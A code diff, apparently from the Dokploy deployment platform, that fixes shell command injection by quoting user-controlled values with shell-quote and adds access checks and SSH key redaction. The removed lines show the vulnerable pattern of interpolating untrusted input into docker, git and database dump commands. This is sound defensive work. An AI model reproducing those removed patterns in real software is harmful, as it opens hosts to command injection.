diff --git a/packages/server/src/services/mysql.ts b/packages/server/src/services/mysql.ts
index 974f72f19..288c6fc28 100644
--- a/packages/server/src/services/mysql.ts
+++ b/packages/server/src/services/mysql.ts
@@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
 import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, getTableColumns } from "drizzle-orm";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 import { validUniqueServerAppName } from "./project";
 
@@ -143,7 +144,7 @@ export const deployMySql = async (
 		if (mysql.serverId) {
 			await execAsyncRemote(
 				mysql.serverId,
-				`docker pull ${mysql.dockerImage}`,
+				`docker pull ${quote([mysql.dockerImage])}`,
 				onData,
 			);
 		} else {
diff --git a/packages/server/src/services/patch-repo.ts b/packages/server/src/services/patch-repo.ts
index 35e734533..f946d1dcd 100644
--- a/packages/server/src/services/patch-repo.ts
+++ b/packages/server/src/services/patch-repo.ts
@@ -1,6 +1,7 @@
 import { join } from "node:path";
 import { paths } from "@dokploy/server/constants";
 import { TRPCError } from "@trpc/server";
+import { quote } from "shell-quote";
 import { execAsync, execAsyncRemote } from "../utils/process/execAsync";
 import { cloneBitbucketRepository } from "../utils/providers/bitbucket";
 import { cloneGitRepository } from "../utils/providers/git";
@@ -85,7 +86,7 @@ export const readPatchRepoDirectory = async (
 	serverId?: string | null,
 ): Promise<DirectoryEntry[]> => {
 	// Use git ls-tree to get tracked files only
-	const command = `cd "${repoPath}" && git ls-tree -r --name-only HEAD`;
+	const command = `cd ${quote([repoPath])} && git ls-tree -r --name-only HEAD`;
 
 	let stdout: string;
 	try {
@@ -168,7 +169,7 @@ export const readPatchRepoFile = async (
 	const repoPath = join(PATCH_REPOS_PATH, type, application.appName);
 	const fullPath = join(repoPath, filePath);
 
-	const command = `cat "${fullPath}"`;
+	const command = `cat ${quote([fullPath])}`;
 
 	if (serverId) {
 		const result = await execAsyncRemote(serverId, command);
diff --git a/packages/server/src/services/postgres.ts b/packages/server/src/services/postgres.ts
index d4dddfdaf..3a9754125 100644
--- a/packages/server/src/services/postgres.ts
+++ b/packages/server/src/services/postgres.ts
@@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
 import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, getTableColumns } from "drizzle-orm";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 import { validUniqueServerAppName } from "./project";
 
@@ -155,7 +156,7 @@ export const deployPostgres = async (
 		if (postgres.serverId) {
 			await execAsyncRemote(
 				postgres.serverId,
-				`docker pull ${postgres.dockerImage}`,
+				`docker pull ${quote([postgres.dockerImage])}`,
 				onData,
 			);
 		} else {
diff --git a/packages/server/src/services/redis.ts b/packages/server/src/services/redis.ts
index 99f4dc853..da2822b13 100644
--- a/packages/server/src/services/redis.ts
+++ b/packages/server/src/services/redis.ts
@@ -10,6 +10,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
 import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq } from "drizzle-orm";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 import { validUniqueServerAppName } from "./project";
 
@@ -110,7 +111,7 @@ export const deployRedis = async (
 		if (redis.serverId) {
 			await execAsyncRemote(
 				redis.serverId,
-				`docker pull ${redis.dockerImage}`,
+				`docker pull ${quote([redis.dockerImage])}`,
 				onData,
 			);
 		} else {
diff --git a/packages/server/src/services/schedule.ts b/packages/server/src/services/schedule.ts
index b8751671b..c94973e02 100644
--- a/packages/server/src/services/schedule.ts
+++ b/packages/server/src/services/schedule.ts
@@ -2,7 +2,7 @@ import path from "node:path";
 import { TRPCError } from "@trpc/server";
 import { eq } from "drizzle-orm";
 import type { z } from "zod";
-import { paths } from "../constants";
+import { IS_CLOUD, paths } from "../constants";
 import { db } from "../db";
 import type {
 	createScheduleSchema,
@@ -11,9 +11,51 @@ import type {
 import { type Schedule, schedules } from "../db/schema/schedule";
 import { encodeBase64 } from "../utils/docker/utils";
 import { execAsync, execAsyncRemote } from "../utils/process/execAsync";
+import { findMemberByUserId } from "./permission";
+import { findServerById } from "./server";
 
 export type ScheduleExtended = Awaited<ReturnType<typeof findScheduleById>>;
 
+// Host-level schedules (server / dokploy-server) run their script as root on the
+// host and must stay restricted to owners/admins, regardless of whether the
+// request is also tied to a service. Attaching an accessible applicationId must
+// not downgrade this to a service-access check.
+export const assertHostScheduleAccess = async (
+	ctx: { user: { id: string }; session: { activeOrganizationId: string } },
+	scheduleType: Schedule["scheduleType"] | null | undefined,
+	serverId: string | null | undefined,
+) => {
+	if (scheduleType !== "server" && scheduleType !== "dokploy-server") return;
+
+	if (scheduleType === "dokploy-server" && IS_CLOUD) {
+		throw new TRPCError({
+			code: "FORBIDDEN",
+			message: "Host-level schedules are not available in the cloud version.",
+		});
+	}
+
+	const member = await findMemberByUserId(
+		ctx.user.id,
+		ctx.session.activeOrganizationId,
+	);
+	if (member.role !== "owner" && member.role !== "admin") {
+		throw new TRPCError({
+			code: "FORBIDDEN",
+			message: "Only owners and admins can manage server-level schedules.",
+		});
+	}
+
+	if (scheduleType === "server" && serverId) {
+		const targetServer = await findServerById(serverId);
+		if (targetServer.organizationId !== ctx.session.activeOrganizationId) {
+			throw new TRPCError({
+				code: "UNAUTHORIZED",
+				message: "You don't have access to this server.",
+			});
+		}
+	}
+};
+
 export const createSchedule = async (
 	input: z.infer<typeof createScheduleSchema>,
 ) => {
diff --git a/packages/server/src/services/server.ts b/packages/server/src/services/server.ts
index 3057e4ddb..b58745f9a 100644
--- a/packages/server/src/services/server.ts
+++ b/packages/server/src/services/server.ts
@@ -53,6 +53,27 @@ export const findServerById = async (serverId: string) => {
 	return currentServer;
 };
 
+/**
+ * Removes the SSH private key material from a server record before it is sent
+ * to a client. `findServerById` eagerly loads the `sshKey` relation (needed for
+ * server-side SSH operations), but the private key must never leave the server:
+ * no client feature consumes it, and returning it exposed it to any member with
+ * only `server:read`. Server-side callers keep using `findServerById` directly.
+ */
+export const redactServerSshKey = <
+	T extends { sshKey?: { privateKey: string } | null },
+>(
+	serverRecord: T,
+): T => {
+	if (!serverRecord.sshKey) {
+		return serverRecord;
+	}
+	return {
+		...serverRecord,
+		sshKey: { ...serverRecord.sshKey, privateKey: "" },
+	};
+};
+
 export const findServersByUserId = async (userId: string) => {
 	const orgs = await db.query.organization.findMany({
 		where: eq(organization.ownerId, userId),
diff --git a/packages/server/src/services/user.ts b/packages/server/src/services/user.ts
index 243751705..0b59502a6 100644
--- a/packages/server/src/services/user.ts
+++ b/packages/server/src/services/user.ts
@@ -430,7 +430,7 @@ export const createOrganizationUserWithCredentials = async ({
 			.insert(user)
 			.values({
 				email: normalizedEmail,
-				emailVerified: false,
+				emailVerified: true,
 				updatedAt: now,
 			})
 			.returning({
diff --git a/packages/server/src/utils/backups/utils.ts b/packages/server/src/utils/backups/utils.ts
index 59e0450f9..dba843956 100644
--- a/packages/server/src/utils/backups/utils.ts
+++ b/packages/server/src/utils/backups/utils.ts
@@ -2,6 +2,7 @@ import { logger } from "@dokploy/server/lib/logger";
 import type { BackupSchedule } from "@dokploy/server/services/backup";
 import type { Destination } from "@dokploy/server/services/destination";
 import { scheduledJobs, scheduleJob } from "node-schedule";
+import { quote } from "shell-quote";
 import { keepLatestNBackups } from ".";
 import { runComposeBackup } from "./compose";
 import { runLibsqlBackup } from "./libsql";
@@ -71,16 +72,16 @@ export const getS3Credentials = (destination: Destination) => {
 	const { accessKey, secretAccessKey, region, endpoint, provider } =
 		destination;
 	const rcloneFlags = [
-		`--s3-access-key-id="${accessKey}"`,
-		`--s3-secret-access-key="${secretAccessKey}"`,
-		`--s3-region="${region}"`,
-		`--s3-endpoint="${endpoint}"`,
+		`--s3-access-key-id=${quote([accessKey])}`,
+		`--s3-secret-access-key=${quote([secretAccessKey])}`,
+		`--s3-region=${quote([region])}`,
+		`--s3-endpoint=${quote([endpoint])}`,
 		"--s3-no-check-bucket",
 		"--s3-force-path-style",
 	];
 
 	if (provider) {
-		rcloneFlags.unshift(`--s3-provider="${provider}"`);
+		rcloneFlags.unshift(`--s3-provider=${quote([provider])}`);
 	}
 
 	if (destination.additionalFlags?.length) {
@@ -90,11 +91,16 @@ export const getS3Credentials = (destination: Destination) => {
 	return rcloneFlags;
 };
 
+// User-controlled values (database name, user, password) are passed to the
+// container as environment variables via `docker exec -e VAR=<escaped>` and
+// referenced as "$VAR" inside the inner shell, so they never appear in the
+// inner command text. The -e value is escaped for the outer shell with
+// shell-quote; the inner script is single-quoted and reads the env vars.
 export const getPostgresBackupCommand = (
 	database: string,
 	databaseUser: string,
 ) => {
-	return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; pg_dump -Fc --no-acl --no-owner -h localhost -U ${databaseUser} --no-password '${database}' | gzip"`;
+	return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -i $CONTAINER_ID bash -c 'set -o pipefail; pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER" --no-password "$DB_NAME" | gzip'`;
 };
 
 export const getMariadbBackupCommand = (
@@ -102,14 +108,14 @@ export const getMariadbBackupCommand = (
 	databaseUser: string,
 	databasePassword: string,
 ) => {
-	return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mariadb-dump --user='${databaseUser}' --password='${databasePassword}' --single-transaction --quick --databases ${database} | gzip"`;
+	return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mariadb-dump --user="$DB_USER" --password="$DB_PASS" --single-transaction --quick --databases "$DB_NAME" | gzip'`;
 };
 
 export const getMysqlBackupCommand = (
 	database: string,
 	databasePassword: string,
 ) => {
-	return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mysqldump --default-character-set=utf8mb4 -u 'root' --password='${databasePassword}' --single-transaction --no-tablespaces --quick '${database}' | gzip"`;
+	return `docker exec -e DB_NAME=${quote([database])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mysqldump --default-character-set=utf8mb4 -u root --password="$DB_PASS" --single-transaction --no-tablespaces --quick "$DB_NAME" | gzip'`;
 };
 
 export const getMongoBackupCommand = (
@@ -117,11 +123,11 @@ export const getMongoBackupCommand = (
 	databaseUser: string,
 	databasePassword: string,
 ) => {
-	return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mongodump -d '${database}' -u '${databaseUser}' -p '${databasePassword}' --archive --authenticationDatabase admin --gzip"`;
+	return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mongodump -d "$DB_NAME" -u "$DB_USER" -p "$DB_PASS" --archive --authenticationDatabase admin --gzip'`;
 };
 
 export const getLibsqlBackupCommand = (database: string) => {
-	return `docker exec -i $CONTAINER_ID sh -c "tar cf - -C /var/lib/sqld ${database} | gzip"`;
+	return `docker exec -e DB_NAME=${quote([database])} -i $CONTAINER_ID sh -c 'tar cf - -C /var/lib/sqld "$DB_NAME" | gzip'`;
 };
 
 export const getServiceContainerCommand = (appName: string) => {
diff --git a/packages/server/src/utils/builders/compose.ts b/packages/server/src/utils/builders/compose.ts
index 790116cb6..e5643074e 100644
--- a/packages/server/src/utils/builders/compose.ts
+++ b/packages/server/src/utils/builders/compose.ts
@@ -67,9 +67,20 @@ Compose Type: ${composeType} ✅`;
 	return bashCommand;
 };
 
+// Shell control characters that must never appear in a user-provided compose
+// command: they would let it break out of the `docker ${command}` invocation
+// into arbitrary host commands. A normal docker compose CLI line never needs them.
+const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/;
+
 const sanitizeCommand = (command: string) => {
 	const sanitizedCommand = command.trim();
 
+	if (UNSAFE_COMPOSE_COMMAND.test(sanitizedCommand)) {
+		throw new Error(
+			"Invalid characters in compose command: shell control characters are not allowed",
+		);
+	}
+
 	const parts = sanitizedCommand.split(/\s+/);
 
 	const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1"));
@@ -88,9 +99,9 @@ export const createCommand = (compose: ComposeNested) => {
 	let command = "";
 
 	if (composeType === "docker-compose") {
-		command = `compose -p ${appName} -f ${path} up -d --build --remove-orphans`;
+		command = `compose -p ${quote([appName])} -f ${quote([path])} up -d --build --remove-orphans`;
 	} else if (composeType === "stack") {
-		command = `stack deploy -c ${path} ${appName} --prune --with-registry-auth`;
+		command = `stack deploy -c ${quote([path])} ${quote([appName])} --prune --with-registry-auth`;
 	}
 
 	return command;
@@ -124,8 +135,8 @@ export const getCreateEnvFileCommand = (compose: ComposeNested) => {
 
 	const encodedContent = encodeBase64(envFileContent);
 	return `
-touch ${envFilePath};
-echo "${encodedContent}" | base64 -d > "${envFilePath}";
+touch ${quote([envFilePath])};
+echo "${encodedContent}" | base64 -d > ${quote([envFilePath])};
 	`;
 };
 
diff --git a/packages/server/src/utils/builders/docker-file.ts b/packages/server/src/utils/builders/docker-file.ts
index b20e3f170..5f315cd58 100644
--- a/packages/server/src/utils/builders/docker-file.ts
+++ b/packages/server/src/utils/builders/docker-file.ts
@@ -85,9 +85,9 @@ export const getDockerCommand = (application: ApplicationNested) => {
 		}
 
 		command += `
-echo "Building ${appName}" ;
-cd ${dockerContextPath} || {
-  echo "❌ The path ${dockerContextPath} does not exist" ;
+echo ${quote([`Building ${appName}`])} ;
+cd ${quote([dockerContextPath])} || {
+  echo ${quote([`❌ The path ${dockerContextPath} does not exist`])} ;
   exit 1;
 }
 
diff --git a/packages/server/src/utils/builders/nixpacks.ts b/packages/server/src/utils/builders/nixpacks.ts
index b7134ea65..e02be0fc3 100644
--- a/packages/server/src/utils/builders/nixpacks.ts
+++ b/packages/server/src/utils/builders/nixpacks.ts
@@ -1,6 +1,7 @@
 import path from "node:path";
 import { getStaticCommand } from "@dokploy/server/utils/builders/static";
 import { nanoid } from "nanoid";
+import { quote } from "shell-quote";
 import { prepareEnvironmentVariablesForShell } from "../docker/utils";
 import { getBuildAppDirectory } from "../filesystem/directory";
 import type { ApplicationNested } from ".";
@@ -52,10 +53,10 @@ export const getNixpacksCommand = (application: ApplicationNested) => {
 
 		bashCommand += `
 	docker create --name ${buildContainerId} ${appName}
-	mkdir -p ${localPath}
-	docker cp ${buildContainerId}:/app/${publishDirectory}${isDirectory ? "/." : ""} ${path.join(buildAppDirectory, publishDirectory)} || {
+	mkdir -p ${quote([localPath])}
+	docker cp ${quote([`${buildContainerId}:/app/${publishDirectory}${isDirectory ? "/." : ""}`])} ${quote([localPath])} || {
 		docker rm ${buildContainerId}
-		echo "❌ Copying ${publishDirectory} to ${path.join(buildAppDirectory, publishDirectory)} failed" ;
+		echo ${quote([`❌ Copying ${publishDirectory} to ${localPath} failed`])} ;
 		exit 1;
 	}
 	docker rm ${buildContainerId}
diff --git a/packages/server/src/utils/cluster/upload.ts b/packages/server/src/utils/cluster/upload.ts
index 0968afc7b..d6d8e4df9 100644
--- a/packages/server/src/utils/cluster/upload.ts
+++ b/packages/server/src/utils/cluster/upload.ts
@@ -5,6 +5,7 @@ import {
 	safeDockerLoginCommand,
 } from "@dokploy/server/services/registry";
 import { createRollback } from "@dokploy/server/services/rollbacks";
+import { quote } from "shell-quote";
 import type { ApplicationNested } from "../builders";
 
 export const uploadImageRemoteCommand = async (
@@ -124,18 +125,18 @@ const getRegistryCommands = (
 		registry.password,
 	);
 	return `
-echo "📦 [Enabled Registry] Uploading image to '${registry.registryType}' | '${registryTag}'" ;
+echo ${quote([`📦 [Enabled Registry] Uploading image to '${registry.registryType}' | '${registryTag}'`])} ;
 ${loginCmd} || {
 	echo "❌ DockerHub Failed" ;
 	exit 1;
 }
 echo "✅ Registry Login Success" ;
-docker tag ${imageName} ${registryTag} || {
+docker tag ${quote([imageName])} ${quote([registryTag])} || {
 	echo "❌ Error tagging image" ;
 	exit 1;
 }
 echo "✅ Image Tagged" ;
-docker push ${registryTag} || {
+docker push ${quote([registryTag])} || {
 	echo "❌ Error pushing image" ;
 	exit 1;
 }
diff --git a/packages/server/src/utils/databases/rebuild.ts b/packages/server/src/utils/databases/rebuild.ts
index 0d1517d3a..291c10746 100644
--- a/packages/server/src/utils/databases/rebuild.ts
+++ b/packages/server/src/utils/databases/rebuild.ts
@@ -14,6 +14,7 @@ import { deployMySql } from "@dokploy/server/services/mysql";
 import { deployPostgres } from "@dokploy/server/services/postgres";
 import { deployRedis } from "@dokploy/server/services/redis";
 import { eq } from "drizzle-orm";
+import { quote } from "shell-quote";
 import { removeService } from "../docker/utils";
 import { execAsync, execAsyncRemote } from "../process/execAsync";
 
@@ -40,7 +41,7 @@ export const rebuildDatabase = async (
 
 	for (const mount of database.mounts) {
 		if (mount.type === "volume") {
-			const command = `docker volume rm ${mount?.volumeName} --force`;
+			const command = `docker volume rm ${quote([mount?.volumeName ?? ""])} --force`;
 			if (database.serverId) {
 				await execAsyncRemote(database.serverId, command);
 			} else {
diff --git a/packages/server/src/utils/docker/compose/volume.ts b/packages/server/src/utils/docker/compose/volume.ts
index be4c7b206..6708758cb 100644
--- a/packages/server/src/utils/docker/compose/volume.ts
+++ b/packages/server/src/utils/docker/compose/volume.ts
@@ -26,11 +26,14 @@ export const addSuffixToVolumesInServices = (
 		if (_.has(newServiceConfig, "volumes")) {
 			newServiceConfig.volumes = _.map(newServiceConfig.volumes, (volume) => {
 				if (_.isString(volume)) {
-					const [volumeName, path] = volume.split(":");
+					// remainder is the container path plus optional access mode (:ro, :z, :Z)
+					const [volumeName, ...pathAndMode] = volume.split(":");
+					const remainder = pathAndMode.join(":");
 
 					// skip bind mounts and variables (e.g. $PWD)
 					if (
 						!volumeName ||
+						!remainder ||
 						volumeName.startsWith(".") ||
 						volumeName.startsWith("/") ||
 						volumeName.startsWith("$")
@@ -43,10 +46,10 @@ export const addSuffixToVolumesInServices = (
 					if (parts.length > 1) {
 						const baseName = parts[0];
 						const rest = parts.slice(1).join("/");
-						return `${baseName}-${suffix}/${rest}:${path}`;
+						return `${baseName}-${suffix}/${rest}:${remainder}`;
 					}
 
-					return `${volumeName}-${suffix}:${path}`;
+					return `${volumeName}-${suffix}:${remainder}`;
 				}
 				if (_.isObject(volume) && volume.type === "volume" && volume.source) {
 					return {
diff --git a/packages/server/src/utils/docker/utils.ts b/packages/server/src/utils/docker/utils.ts
index 8065b7dd9..1aecb1d75 100644
--- a/packages/server/src/utils/docker/utils.ts
+++ b/packages/server/src/utils/docker/utils.ts
@@ -712,14 +712,14 @@ export const getCreateFileCommand = (
 ) => {
 	const fullPath = path.join(outputPath, filePath);
 	if (fullPath.endsWith(path.sep) || filePath.endsWith("/")) {
-		return `mkdir -p ${fullPath};`;
+		return `mkdir -p ${quote([fullPath])};`;
 	}
 
 	const directory = path.dirname(fullPath);
 	const encodedContent = encodeBase64(content);
 	return `
-		mkdir -p ${directory};
-		echo "${encodedContent}" | base64 -d > "${fullPath}";
+		mkdir -p ${quote([directory])};
+		echo "${encodedContent}" | base64 -d > ${quote([fullPath])};
 	`;
 };
 
diff --git a/packages/server/src/utils/gpu-setup.ts b/packages/server/src/utils/gpu-setup.ts
index f658b7727..59aa98047 100644
--- a/packages/server/src/utils/gpu-setup.ts
+++ b/packages/server/src/utils/gpu-setup.ts
@@ -1,4 +1,5 @@
 import * as fs from "node:fs/promises";
+import { quote } from "shell-quote";
 import { execAsync, execAsyncRemote, sleep } from "../utils/process/execAsync";
 
 interface GPUInfo {
@@ -322,7 +323,7 @@ const setupLocalServer = async (daemonConfig: any) => {
 };
 
 const addGpuLabel = async (nodeId: string, serverId?: string) => {
-	const labelCommand = `docker node update --label-add gpu=true ${nodeId}`;
+	const labelCommand = `docker node update --label-add gpu=true ${quote([nodeId])}`;
 	if (serverId) {
 		await execAsyncRemote(serverId, labelCommand);
 	} else {
@@ -335,7 +336,7 @@ const verifySetup = async (nodeId: string, serverId?: string) => {
 
 	if (!finalStatus.swarmEnabled) {
 		const diagnosticCommands = [
-			`docker node inspect ${nodeId}`,
+			`docker node inspect ${quote([nodeId])}`,
 			'nvidia-smi -a | grep "GPU UUID"',
 			"cat /etc/docker/daemon.json",
 			"cat /etc/nvidia-container-runtime/config.toml",
diff --git a/packages/server/src/utils/providers/bitbucket.ts b/packages/server/src/utils/providers/bitbucket.ts
index d2be27a67..ca4ac6c95 100644
--- a/packages/server/src/utils/providers/bitbucket.ts
+++ b/packages/server/src/utils/providers/bitbucket.ts
@@ -10,6 +10,7 @@ import {
 } from "@dokploy/server/services/bitbucket";
 import type { InferResultType } from "@dokploy/server/types/with";
 import { TRPCError } from "@trpc/server";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 
 export type ApplicationWithBitbucket = InferResultType<
@@ -124,8 +125,8 @@ export const cloneBitbucketRepository = async ({
 	const repoToUse = entity.bitbucketRepositorySlug || bitbucketRepository;
 	const repoclone = `bitbucket.org/${bitbucketOwner}/${repoToUse}.git`;
 	const cloneUrl = getBitbucketCloneUrl(bitbucket, repoclone);
-	command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`;
-	command += `git clone --branch ${bitbucketBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
+	command += `echo ${quote([`Cloning Repo ${repoclone} to ${outputPath}: ✅`])};`;
+	command += `git clone --branch ${quote([String(bitbucketBranch ?? "")])} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${quote([String(cloneUrl ?? "")])} ${quote([String(outputPath ?? "")])} --progress;`;
 	return command;
 };
 
diff --git a/packages/server/src/utils/providers/docker.ts b/packages/server/src/utils/providers/docker.ts
index f3a4c39f3..25a1ffa82 100644
--- a/packages/server/src/utils/providers/docker.ts
+++ b/packages/server/src/utils/providers/docker.ts
@@ -1,4 +1,5 @@
 import { safeDockerLoginCommand } from "@dokploy/server/services/registry";
+import { quote } from "shell-quote";
 import type { ApplicationNested } from "../builders";
 
 export const buildRemoteDocker = async (application: ApplicationNested) => {
@@ -9,7 +10,7 @@ export const buildRemoteDocker = async (application: ApplicationNested) => {
 			throw new Error("Docker image not found");
 		}
 		let command = `
-echo "Pulling ${dockerImage}";		
+echo ${quote([`Pulling ${dockerImage}`])};
 		`;
 
 		if (username && password) {
@@ -22,7 +23,7 @@ fi
 		}
 
 		command += `
-docker pull ${dockerImage} 2>&1 || { 
+docker pull ${quote([dockerImage])} 2>&1 || {
   echo "❌ Pulling image failed";
   exit 1;
 }
diff --git a/packages/server/src/utils/providers/git.ts b/packages/server/src/utils/providers/git.ts
index 8e7c71839..5ccbd6412 100644
--- a/packages/server/src/utils/providers/git.ts
+++ b/packages/server/src/utils/providers/git.ts
@@ -4,6 +4,7 @@ import {
 	findSSHKeyById,
 	updateSSHKeyById,
 } from "@dokploy/server/services/ssh-key";
+import { quote } from "shell-quote";
 import { execAsync, execAsyncRemote } from "../process/execAsync";
 
 interface CloneGitRepository {
@@ -61,7 +62,7 @@ export const cloneGitRepository = async ({
 	}
 	command += `rm -rf ${outputPath};`;
 	command += `mkdir -p ${outputPath};`;
-	command += `echo "Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅";`;
+	command += `echo ${quote([`Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅`])};`;
 
 	if (customGitSSHKeyId) {
 		await updateSSHKeyById({
@@ -78,8 +79,8 @@ export const cloneGitRepository = async ({
 		command += "chmod 600 /tmp/id_rsa;";
 		command += `export GIT_SSH_COMMAND="${gitSshCommand}";`;
 	}
-	command += `if ! git clone --branch ${customGitBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${customGitUrl} ${outputPath}; then
-				echo "❌ [ERROR] Fail to clone the repository ${customGitUrl}";
+	command += `if ! git clone --branch ${quote([String(customGitBranch ?? "")])} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${quote([String(customGitUrl ?? "")])} ${quote([String(outputPath ?? "")])}; then
+				echo ${quote([`❌ [ERROR] Fail to clone the repository ${customGitUrl}`])};
 				exit 1;
 			fi
 			`;
@@ -114,7 +115,7 @@ const addHostToKnownHostsCommand = (repositoryURL: string) => {
 	// ssh-keyscan is best-effort: some Git hosts (e.g. Hugging Face) never answer
 	// it, and its exit code must not abort the clone under `set -e`. The clone's
 	// own host-key check (StrictHostKeyChecking=accept-new) is the real boundary.
-	return `ssh-keyscan -p ${port} ${domain} >> ${knownHostsPath} || true;`;
+	return `ssh-keyscan -p ${Number(port)} ${quote([String(domain ?? "")])} >> ${knownHostsPath} || true;`;
 };
 const sanitizeRepoPathSSH = (input: string) => {
 	const SSH_PATH_RE = new RegExp(
diff --git a/packages/server/src/utils/providers/gitea.ts b/packages/server/src/utils/providers/gitea.ts
index 20c86a589..1c6ae3a83 100644
--- a/packages/server/src/utils/providers/gitea.ts
+++ b/packages/server/src/utils/providers/gitea.ts
@@ -7,6 +7,7 @@ import {
 } from "@dokploy/server/services/gitea";
 import type { InferResultType } from "@dokploy/server/types/with";
 import { TRPCError } from "@trpc/server";
+import { quote } from "shell-quote";
 
 export const getErrorCloneRequirements = (entity: {
 	giteaRepository?: string | null;
@@ -176,8 +177,8 @@ export const cloneGiteaRepository = async ({
 		giteaRepository!,
 	);
 
-	command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`;
-	command += `git clone --branch ${giteaBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
+	command += `echo ${quote([`Cloning Repo ${repoClone} to ${outputPath}: ✅`])};`;
+	command += `git clone --branch ${quote([String(giteaBranch ?? "")])} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${quote([String(cloneUrl ?? "")])} ${quote([String(outputPath ?? "")])} --progress;`;
 	return command;
 };
 
diff --git a/packages/server/src/utils/providers/github.ts b/packages/server/src/utils/providers/github.ts
index 6309cf307..bca0c259d 100644
--- a/packages/server/src/utils/providers/github.ts
+++ b/packages/server/src/utils/providers/github.ts
@@ -6,6 +6,7 @@ import type { InferResultType } from "@dokploy/server/types/with";
 import { createAppAuth } from "@octokit/auth-app";
 import { TRPCError } from "@trpc/server";
 import { Octokit } from "octokit";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 
 export const authGithub = (githubProvider: Github): Octokit => {
@@ -166,8 +167,8 @@ export const cloneGithubRepository = async ({
 	command += `mkdir -p ${outputPath};`;
 	const cloneUrl = `https://oauth2:${token}@${repoclone}`;
 
-	command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`;
-	command += `git clone --branch ${branch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
+	command += `echo ${quote([`Cloning Repo ${repoclone} to ${outputPath}: ✅`])};`;
+	command += `git clone --branch ${quote([String(branch ?? "")])} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${quote([String(cloneUrl ?? "")])} ${quote([String(outputPath ?? "")])} --progress;`;
 
 	return command;
 };
diff --git a/packages/server/src/utils/providers/gitlab.ts b/packages/server/src/utils/providers/gitlab.ts
index 02121d346..3907130ee 100644
--- a/packages/server/src/utils/providers/gitlab.ts
+++ b/packages/server/src/utils/providers/gitlab.ts
@@ -8,6 +8,7 @@ import {
 } from "@dokploy/server/services/gitlab";
 import type { InferResultType } from "@dokploy/server/types/with";
 import { TRPCError } from "@trpc/server";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 
 export const refreshGitlabToken = async (gitlabProviderId: string) => {
@@ -151,8 +152,8 @@ export const cloneGitlabRepository = async ({
 	command += `mkdir -p ${outputPath};`;
 	const repoClone = getGitlabRepoClone(gitlab, gitlabPathNamespace);
 	const cloneUrl = getGitlabCloneUrl(gitlab, repoClone);
-	command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`;
-	command += `git clone --branch ${gitlabBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
+	command += `echo ${quote([`Cloning Repo ${repoClone} to ${outputPath}: ✅`])};`;
+	command += `git clone --branch ${quote([String(gitlabBranch ?? "")])} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${quote([String(cloneUrl ?? "")])} ${quote([String(outputPath ?? "")])} --progress;`;
 	return command;
 };
 
diff --git a/packages/server/src/utils/restore/compose.ts b/packages/server/src/utils/restore/compose.ts
index 946c94a38..07f23c772 100644
--- a/packages/server/src/utils/restore/compose.ts
+++ b/packages/server/src/utils/restore/compose.ts
@@ -1,6 +1,7 @@
 import type { apiRestoreBackup } from "@dokploy/server/db/schema";
 import type { Compose } from "@dokploy/server/services/compose";
 import type { Destination } from "@dokploy/server/services/destination";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 import { getS3Credentials } from "../backups/utils";
 import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -26,10 +27,10 @@ export const restoreComposeBackup = async (
 		const rcloneFlags = getS3Credentials(destination);
 		const bucketPath = `:s3:${destination.bucket}`;
 		const backupPath = `${bucketPath}/${backupInput.backupFile}`;
-		let rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} "${backupPath}" | gunzip`;
+		let rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} ${quote([backupPath])} | gunzip`;
 
 		if (backupInput.metadata?.mongo) {
-			rcloneCommand = `rclone copy ${rcloneFlags.join(" ")} "${backupPath}"`;
+			rcloneCommand = `rclone copy ${rcloneFlags.join(" ")} ${quote([backupPath])}`;
 		}
 
